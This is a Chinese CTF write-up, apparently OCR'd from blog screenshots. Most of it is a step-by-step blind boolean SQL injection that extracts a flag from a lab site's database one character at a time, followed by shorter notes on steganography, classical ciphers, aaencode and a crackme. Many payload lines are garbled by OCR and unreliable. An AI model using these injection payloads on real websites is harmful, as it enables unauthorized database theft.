11 text/html	ml /80 bytes index.php?act=news&id=1%20and%20ascii(substri((select%20column_name%20from%20information_schema.COLUMNS%20where%201ABLE_SCHEMA='db_flag%20and%201ABLE_NAME='tb_flag%20information_schema.COLUMNS%20where%201ABLE_SCHEMA='db_flag%20and%201ABLE_NAME='tb_flag%20information_schema.COLUMNS%20where%201ABLE_SCHEMA='db_flag%20and%201ABLE_NAME='tb_flag%20information_schema.COLUMNS%20where%201ABLE_SCHEMA='db_flag%20and%201ABLE_NAME='tb_flag%20information_schema.COLUMNS%20where%201ABLE_SCHEMA='db_flag%20and%201ABLE_NAME='tb_flag%20information_schema.COLUMNS%20where%201ABLE_SCHEMA='db_flag%20and%201ABLE_NAME='tb_flag%20information_schema.COLUMNS%20where%201ABLE_SCHEMA='db_flag%20and%201ABLE_NAME='tb_flag%20information_schema.COLUMNS%20where%201ABLE_SCHEMA='db_flag%20information_schema.COLUMNS%20where%201ABLE_SCHEMA='db_flag%20information_schema.COLUMNS%20where%201ABLE_SCHEMA='db_flag%20information_schema.COLUMNS%20where%201ABLE_SCHEMA='db_flag%20and%20Information_schema.COLUMNS%20where%201ABLE_SCHEMA='db_flag%20and%20Information_schema.COLUMNS%20where%201ABLE_SCHEMA='db_flag%20information_schema.COLUMNS%20where%201ABLE_SCHEMA='db_flag%20and%20Information_schema.COLUMNS%20where%201ABLE_SCHEMA='db_flag%20and%20Information_schema.COLUMNS%20where%20IABLE_SCHEMA='db_flag%20and%20Information_schema.COLUMNS%20where%20IABLE_SCHEMA='db_flag%20and%20Information_schema.COLUMNS%20where%20Information_schema.COLUMNS%20where%20Information_schema.COLUMNS%20where%20Information_schema.COLUMNS%20where%20Information_schema.COLUMNS%20where%20Information_schema.COLUMNS%20and%20an	.%201,1))	,%202,%20	1))>112
11 text/html	mi 848 bytes index.php?act=news&id=1%20and%20asci(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%201ABLE_SCHEMA=1db_ftag%20and%201ABLE_NAME=1b_ftag%20information_schema.COLUMNS%20where%201ABLE_SCHEMA=1db_ftag%20and%201ABLE_NAME=1b_ftag%20information_schema.COLUMNS%20where%201ABLE_SCHEMA=1db_ftag%20and%201ABLE_NAME=1b_ftag%20information_schema.COLUMNS%20where%201ABLE_SCHEMA=1db_ftag%20and%201ABLE_NAME=1b_ftag%20information_schema.COLUMNS%20where%201ABLE_SCHEMA=1db_ftag%20and%201ABLE_NAME=1b_ftag%20information_schema.COLUMNS%20where%201ABLE_SCHEMA=1db_ftag%20and%201ABLE_NAME=1b_ftag%20information_schema.COLUMNS%20where%201ABLE_SCHEMA=1db_ftag%20and%201ABLE_NAME=1b_ftag%20information_schema.COLUMNS%20where%201ABLE_SCHEMA=1db_ftag%20and%201ABLE_NAME=1b_ftag%20information_schema.COLUMNS%20where%201ABLE_SCHEMA=1db_ftag%20and%201ABLE_NAME=1b_ftag%20information_schema.COLUMNS%20where%201ABLE_SCHEMA=1db_ftag%20and%201ABLE_NAME=1b_ftag%20and%201ABLE_SCHEMA=1db_ftag%20and%201ABLE_NAME=1b_ftag%20information_schema.COLUMNS%20where%201ABLE_SCHEMA=1db_ftag%20and%201ABLE_SCHEMA=1db_ftag%20and%201ABLE_SCHEMA=1db_ftag%20and%201ABLE_SCHEMA=1db_ftag%20and%201ABLE_SCHEMA=1db_ftag%20a	.%200,1))	,%202,%20	1))>97
11 text/html	mi 848 bytes index.php?act=news&id=1%20and%20ascii(substrt((select%20column_name%20information_schema.COLUMNS%20where%2017ABLE_SCHEMA=idb_hag%20and%201ABLE_NAME=1b_hag	.%201,1))	,%202,%20	1))>106
11 text/html	mi 848 bytes index.php?act=news&id=1%20and%20asci(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%201ABL_SCHEMA=10b_ftag%20ind%201ABL_AMME=10b_ftag%20information_schema.COLUMNS%20where%201ABL_SCHEMA=10b_ftag%20information_schema.COLUMNS%20where%201ABL_SCHEMA=10b_ftag%20information_schema.COLUMNS%20where%201ABL_SCHEMA=10b_ftag%20information_schema.COLUMNS%20where%201ABL_SCHEMA=10b_ftag%20information_schema.COLUMNS%20where%201ABL_SCHEMA=10b_ftag%20information_schema.COLUMNS%20where%201ABL_SCHEMA=10b_ftag%20information_schema.COLUMNS%20where%201ABL_SCHEMA=10b_ftag%20information_schema.COLUMNS%20where%201ABL_SCHEMA=10b_ftag%20information_schema.COLUMNS%20where%201ABL_SCHEMA=10b_ftag	.%200,1))	,%202,%20	1))>99
11 text/html	mi /80 bytes index.php?act=news&id=1%20and%20asci(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%201ABLE_SCHEMA=idb_ftag%20IABLE_XAME=itb_ftag%20limt	.%201,1))	,%202,%20	1))>109
11 text/ntm	mi / Bu bytes index.pnp/act=newsexid=1%20and%20ascii(substr(((select%20column_name%20from%20information_schema.COLUMNS%20wner%20i ABLE_SCHEMA= ab_mag %20and%20i ABLE_NAME= tb_mag %20iim	.%201,1))	,%202,%20	1))>108 *
L				
	Save Save All Provid	w C	lose	Help
	◎ ○ ○ 日 🐂 🔎 💿 🖱 🔦 🗋 🥥 🗍 🧉		19:40	
		-0081	2022/2/	13 1000

780是false, 848是true, >101是true, >102是false, 第一个是102

11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag'%20and%20TABLE_NAME='tb_flag'%20limit%201,1))%202,%201)>109 11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag'%20and%20TABLE_NAME='tb_flag'%20limit%201,1))%202,%201)>100 11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag'%20and%20TABLE_NAME='tb_flag'%20limit%201,1))%202,%201)>100 11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag'%20and%20TABLE_NAME='tb_flag'%20limit%201,1))%202,%201)>107 11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag'%20and%20TABLE_NAME='tb_flag'%20limit%201,1))%202,%201)>107

第2个是108

11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag'%20and%20TABLE_NAME='tb_flag'%20limit%201,1)),%203,%201))>97

第3个97

11 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag'%20and%20TABLE_NAME='tb_flag'%20and%20and%20TABLE_NAME='tb_flag'%20and%20and%20and%20and%20TABLE_NAME='tb_flag'%20and%20and%20TABLE_NAME='tb_flag'%20and

第4个103

 $1 \text{ text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%205,%201))>119 \\1 \text{ text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%205,%201))>122 \\1 \text{ text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%205,%201))>124 \\1 \text{ text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag))))>124 \\1 \text{ text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr((select%20concat_ws(char(94),%20flag)))>124 \\1 \text{ text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr((select%20concat_ws(char(94),%20flag)))>124 \\1 \text{ text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr((select%20concat_ws(char(94),%20flag)))>124 \\1 \text{ text/html 780 bytes$

第5个123

1 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%206,%201))>52 1 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200/1)),%206,%201))>52

第6个52

 11
 text/html
 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%207,%201)>54

 11
 text/html
 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%207,%201)>55

 11
 text/html
 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%207,%201)>55

 11
 text/html
 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%207,%201))>55

 11
 text/html
 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%207,%201))>55

第7个55

1 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94))%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%208,%201))>101 1 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%20B,%201))>102

第8个101

第9个100

11 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%209,%201))>97 11 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%209,%201))>90 11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%209,%201))>100 11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2010,%201))>100 11 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2010,%201))>50 11 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2010,%201))>50 11 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2010,%201))>58 11 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2010,%201))>88 11 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2010,%201))>94 11 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2010,%201))>97 11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2010,%201))>97 11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2010,%201))

第10个98

11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2022,%201))>56 11 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%206,1)),%2022,%201))>55

1 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2011,%201))>56

第11个56

1 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2012,%201))>50 1 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2012,%201))>57 $1 \text{ text/html 848 bytes index.php?act=news&id=1\%20and\%20ascii(substr(((select%20concat_ws(char(94),\%20flag)\%20\%20from%20db_flag.tb_flag%20\%20limit%200,1)),\%2013,\%201)>47$ $1 \text{ text/html 780 bytes index.php?act=news&id=1\%20and\%20ascii(substr(((select%20concat_ws(char(94),\%20flag)\%20\%20from%20db_flag.tb_flag%20\%20limit%200,1)),\%2013,\%201)>49$ $1 \text{ text/html 780 bytes index.php?act=news&id=1\%20and\%20ascii(substr(((select%20concat_ws(char(94),\%20flag)\%20\%20from%20db_flag.tb_flag%20\%20limit%200,1)),\%2013,\%201)>49$ $1 \text{ text/html 780 bytes index.php?act=news&id=1\%20and\%20ascii(substr(((select%20concat_ws(char(94),\%20flag)\%20\%20from%20db_flag.tb_flag%20\%20limit%200,1)),\%2013,\%201)>49$

第13个48

1 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2014,%201))>47 1 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2014,%201))>49 1 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2014,%201))>48

第14个48

1 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2015,%201)>100 11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2015,%201)>101

第15个101

1 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2016,%201)>99 1 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1))%2016,%201)>100

第16个100

第17个53

11 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200_1),%2018,%201)) 101_4 11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200_1)),%2018,%201)) 102_4

第18个102

11 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2019,%2019,%201)>56 11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2019,%2019)>57

第19个57

11 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2027,%201))>97 11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2027,%201))>99 11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1));%2027,%201))>98

第20个98

11 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2021,%201))>49 11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2021,%201))>50

第21个50

11 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2022,%201))>55 11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%20d),1)%2022,%201)>55

第22个56

11 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2023,%201)>101 11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1))%2023,%201)>4d2

第23个102

11 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2024,%201)>98 11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%206,7)),%2024,%201)>99

第24个99

1 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2025,%201))>52 11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2025,%201))>53 11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2025,%201))>53 11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2025,%201))>53

第25个53

11 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2026,%201))>51 11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1));%2026,%20(1)>32

第26个52

1 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2020,%201))>97 11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2020,%201))>99 11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2020,%201))>99

第27个98

11 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2025,%201))>52

第28个52

1 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2027,%201))>97 1 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2027,%201))>98 1 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2027,%201))>98 1 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2027,%201))>98 1 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2027,%201))>98

第27个98

1 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2028,%201))>47 11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2028,%201))>49 11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2028,%201))>49

第26个48

11 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2029,%201))>99 11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2029,%201)y>109²⁽⁴⁾

第29个100

1 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2030,%201))>47 1 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2030,%201))>49 1 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2030,%201))>49

第30个48

1 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200_1)),%2031_%201)>56 11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200_1)),%2031_%201)>57

第31个57

1 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2032,%201))>100 11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200;}),%2052,%201))>107

第32个101

11 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2033,%201))>98

第33个99

1 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2034,%201)>99 11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%20Dh}))%2034,%201)) 5 209

第34个100

1 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%2001)),%2035,%201))>101 1 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%2007)),%2035,%201)>101

第35个101

11 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2036,%201)>101 11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200, p),%2636,%201)>102

第36个102

1 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2037,%201))>54 1 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2037,%201))>56 1 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2037,%201))>55 1 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2037,%201))>55

第37个55

1 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%2038,%201)>124 11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%20d),)%2038,%201)>124

第38个125

102 108 97 103 123 52 55 101 100 98 56 51 48 48 101 100 53 102 57 98 50 56 102 99 53 52 98 48 100 48 57 101 99 100 101 102 55 125

ascii转字符

```
a='102 108 97 103 123 52 55 101 100 98 56 51 48 48 101 100 53 102 57 98 50 56 102 99 53 52 98 48 100 48 57
for i in a.split(" "):
    print(chr(int(i)),end='')
```

解得flag{47edb8300ed5f9b28fc54b0d09ecdef7}

题40、弱口令

发现压缩包有东西

ني جا • •

+

->





发现有隐写,不是zsteg,stegslove也没有发现什么,lsb隐写

s binwall	kall)-[~/杲画] k <u>1.png</u>	
DECIMAL	HEXADECIMAL	DESCRIPTION
0 41	0×0 0×29	PNG image, 500 x 500, 8-bit/color RGBA, non-interlaced Zlib compressed data, default compression CSDN @五五六六0524
C:\Windows\	Sustem 22\cmd eve	



又出问题,明天研究【BUUCTF】MISC 弱口令 超详细——附: Python 怎么安装库、模块、包最最方便!!!_algae-CSDN博客_buu弱口令

题41、[HBNIS2018]caesar

🧾 attachment.txt - 记事	体	
文件(F) 编辑(E) 格式(O	查看(V) 帮助(H)	
题目: caesar		
描述: gmbhjtdbftbs		
flag格式: XXX 明文		
提交: 直接提交明文	(小写)	CSDN @五五六六0524

caesar是凯撒的意思,解密一下,直接出flag{flagiscaesar}

gmbhjtdbftbs
位移 1 加密 解密
flagiscaesar

CSDN @五五六六0524

题42、[HBNIS2018]低个头

🧾 attachment (1).txt - 记事本

文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H) 题目: 低个头

描述: EWAZX RTY TGB IJN IO KL 请破解该密文 f

lag格式: XXX 明文

提交:直接提交明文(大写)

CSDN @五五六六0524

键盘加密,flag{CTF}



题43、

[SUCTF2018]single dog

题44、Mysterious

	加密	解密
function a() { var a="SUCTF{happy double eleven}"; alert("双十一快乐"); } a();		CSDN @五五六六0524

$$\begin{split} & (\circ -) + (\circ -)$$

AAEncode加密/解密

Ls binwalk attachment

🤳 1.txt - 记事本

文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H) $[\omega^{\prime} J = / m^{\prime} J] / [(\pi^{\prime} J) J] / (\pi^{\prime} J) J] = / (\pi^{\prime} J) J] = -23; c=(^{\circ} \Theta^{\circ}) = (^{\circ} -^{\circ}) - (^{\circ} -^{\circ}); c_{-}^{\circ} - 0) + (^{\circ} -^{\circ}) + ($

搜了一下表情加密,发现他是JavaScript表情包加密(aaencode加密),解密得flag{happy double eleven}

DECIMAL	HEXADECIMAL	DESCRIPTION	
0 30 115772 6. name: 1.t	0×0 0×1E 0×1C43C xt	JPEG image data, JFIF standard 1.01 TIFF image data, big-endian, offset of first image dire Zip archive data, at least v2.0 to extract, compressed	ectory: 8 size: 729, uncompressed size: 820
116623	0×1C78F	End of Zip archive, footer length: 22	CSDN @五五六六0524

CTF		\times
	Input the password:	
	Crack	
	CSDN @五	五六六0524

题目说逆向思维,用IDA打开,在strings里找到welldone

is u	sulaction — Data — OneAbioled — External Symbol — Frankly Information																			
×		IDA View-A	×	O	Hex View-1	×	A	Structures	×	Ħ	Enums	×	1	Imports	×	P	Exports	×	's'	Strings
^	Addr	ddress Length Ty				String														
	's' .ro	data:004220	00000	00A	С	well do	ne											CSDN	@ T T	***0524
	's' .ro	data:004220	00000	010	С	Buff3r (0v3rfl()w										CODN	@ <u>-n-n</u>	.///0524

F5查伪代码,这里出错,查了好久不得其解



根据wp得到的反编译后的代码,输入122xyz,得到flag{123_Buff3r_0v3rf|0w}



题45、喵喵喵



得到一张图,binwalk没有发现什么,在stegslove里找了找,发现很像下面藏着二维码



CTF



最低位的LSB隐写发现有一张图,保存下来发现打不开

8	- 🗆 X
Extract Prev	iew
fffe89504e470d0a 1a0a0000000d4948PNG	IH
4452000001180000 008c08020000008 DR	
ec7edb0000059c49 444154789ceddd51 .~I	DATxQ
6a1c3b1440c13864 ff5b761610145038 j.;.@.8d	.[vP8
3792ecaadf37afdd eef141908bd43f7e 77	A?~
0000000000000009f 3e56ffe1f3f3f37f	>V
dec73ffbf858fe0a 89d573d8fdb9d3d7?X	s
59a99ecfeefd579f bfcdeafe7ffee7fb YW.	
802f494810101204 8404012141404810 ./IH	!A@H.
1012047eedfe0fd3 739b95dd39c3f4dc~	s9
Dit Disease	Orden estimus
Bit Planes	Order settings
